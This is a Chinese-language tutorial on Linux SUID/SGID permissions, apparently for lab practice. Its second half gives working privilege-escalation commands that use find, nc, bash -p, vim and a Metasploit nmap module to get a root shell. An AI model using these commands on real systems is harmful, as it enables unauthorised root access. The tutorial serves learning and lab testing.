SUID是什么
SUID是Set User ID,SGID是Set Group的意思
SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限,SGID与SUID相似,只是执行程序时获得的是文件属组的权限
在执行的过程中,调用者会暂时获得该文件的属主的权限,并且权限只在程序执行的过程中有效,通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们非root用户登入时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,通过ls执行root权限
注意以下几点:
1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义
2.命令执行者要对该程序文件拥有x权限
3.命令执行者在执行该程序时获得该程序文件属主的身份
4.SUID权限只在程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
设置SUID
chmod u+s filename //设置SUID位
chmod u-s filename //去掉SUID位
SUID提权原理
原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令,常见可以用的提权命令如下
nmap
vim
find
bash
more
less
nano
cp
awk
以下命令可以找到正在系统上运行的所有SUID可执行命令,例如find
使用Find查找SUID文件
find / -user root -perm -4000 2>/dev/null
解析:
使用find命令查找
/ 代表从根目录开始找
-user root 找属主为root的二进制文件
2>/dev/null 将find报错的信息重定向到null[空]
如果2是1的话 代表将find正确的信息重定向到null
-perm 匹配权限 4000 2000 1000分别是SUID SGID SBIT
find / -perm -u=s -type f 2>/dev/null
-type b/d/c/p/l/f 查是块设备,目录,字符设备,管道.符号链接,普通文件
find /-user root -perm -4000 -exec ls {} \; 2>/dev/null
-exec 执行的意思
\; exec后面接的命令必须分号结尾,类似于C语言语句结尾
普通文件,文件的权限一般三位,777是最高文件权限
-perm -0777搜索的就是最高权限的文件ewxewxewx
-perm +0777搜索的只要包含ewxewxewx任意一个的文件
特殊文件.包含权限位置四位,7000为最高,即-s-s-t,同样的方法
-perm -7000搜索的就是最高权限的文件-s-s-t
-perm +7000搜索的只要包含-s-s-t任意一个文件 -s --(4000),- -s -(2000),- - -t(1000)等
Find提权
find比较常见,find用来在系统中查找,同时,他也有执行命令的能力,因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行
提权如下
cd /tmp;touch xxx 随便创建一个文件可以在tmp目录下
find xxx -exec whoami \;
find xxx -exec /bin/sh \; 利用find得到一个root权限的shell
find xxx -exec nc -lvp 4444 -e /bin/sh \;利用nc反弹一个root权限的shell
前提是linux靶场有nc工具,并且攻击机开启了监听
攻击机 靶场ip 4444
NMAP提权
使用msf中的提权模块
use exploit/unix/local/setuid_nmap
Bash提权
bash -p
vim打开交互shell
vim -c ':py import os;os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'